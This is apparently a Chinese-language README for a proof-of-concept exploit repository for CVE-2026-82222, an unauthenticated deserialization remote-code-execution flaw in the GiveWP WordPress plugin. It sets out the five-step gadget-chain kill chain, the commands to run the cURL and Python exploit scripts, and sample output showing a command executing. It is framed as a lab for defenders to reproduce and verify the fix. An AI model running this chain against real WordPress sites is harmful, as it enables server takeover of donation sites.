| CVE | CVE-2026-82222 |
| CVSS | 10.0(严重) |
| CWE | CWE-502 — 不可信数据的反序列化 |
| 受影响 | GiveWP(捐赠插件)<= 4.16.7.1 |
| 已修复 | 4.16.7.2 |
| 公告 | Patchstack |
仅限授权测试。 本仓库用于教育、漏洞研究以及测试你拥有或明确获准测试的系统。 未经授权的使用是非法的。
本仓库旨在帮助安全专业人员理解、检测和防御 CVE-2026-82222。所有演示均针对你在自己机器上运行的本地实验环境(lab/)而设计。PoC 不会向磁盘写入任何内容,也不会更改任何插件设置——命令输出仅通过触发请求的 HTTP 响应返回。完整范围与报告政策请参见 SECURITY.md。
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 漏洞实验环境
│ ├── setup.sh # 一键构建实验环境
│ ├── set-givewp-version.sh # 切换漏洞/已修复的 GiveWP 版本
│ ├── .ddev/config.yaml # DDEV 项目配置
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL 利用脚本
│ ├── poc.py # Python 利用脚本
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # 技术分析 + 可达性矩阵
│ ├── BURP-MANUAL.md # Burp Repeater 操作演示(请求/响应)
│ └── CURL-POC.md # 可直接复制粘贴的 cURL 操作演示
├── SECURITY.md # 范围、报告与安全使用政策
└── LICENSE
四个未认证请求加一次触发:
users_can_register,并发放已认证的 WP cookie。TCPDF → Symfony Session → DonorFactory → system)存储到账户的 last_name 元字段中。give_last 的捐赠;GiveWP 从数据库填充姓名,以 allowed_classes=false 反序列化该 gadget,并将活动对象图序列化到 wp_give_sessions 中。unserialize() 读回会话;TCPDF::__destruct() 到达 call_user_func_array('system', [cmd])。输出出现在 HTTP 响应中——不会向磁盘写入任何内容。完整细节:docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# 表单 id 在最后打印,网关:manual,WP 管理员:admin/<random>
需要 Docker + DDEV。
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# 仅指纹识别(不利用)
python3 poc.py https://cve-2026-82222.ddev.site --check
两个 PoC 均按设计仅针对单一目标——没有批量或大规模扫描模式。仅对 lab/ 中的实验环境或你获准测试的系统运行它们。
预期成功输出(命令 id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # 已修复版本
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> 利用链失效;无输出
| GiveWP | 状态 |
|---|---|
| <= 4.16.5.1 | 存在漏洞——默认安装完全可达 |
| 4.16.6 – 4.16.7.1 | 存在漏洞——需要旧版(非 V3)表单;注册需要 give_register_nonce |
| 4.16.7.2 | 已修复 |
本仓库仅供教育和防御性安全研究目的提供。所含代码演示了一个已记录的漏洞,以便防御者构建检测、验证补丁并测试自己的系统。
作者不对本材料造成的任何滥用或损害负责。未经明确授权,请勿将其用于任何系统——这样做可能违反《计算机欺诈与滥用法》(CFAA)及全球范围内的同等法律。参见 SECURITY.md。
MIT — 参见 LICENSE。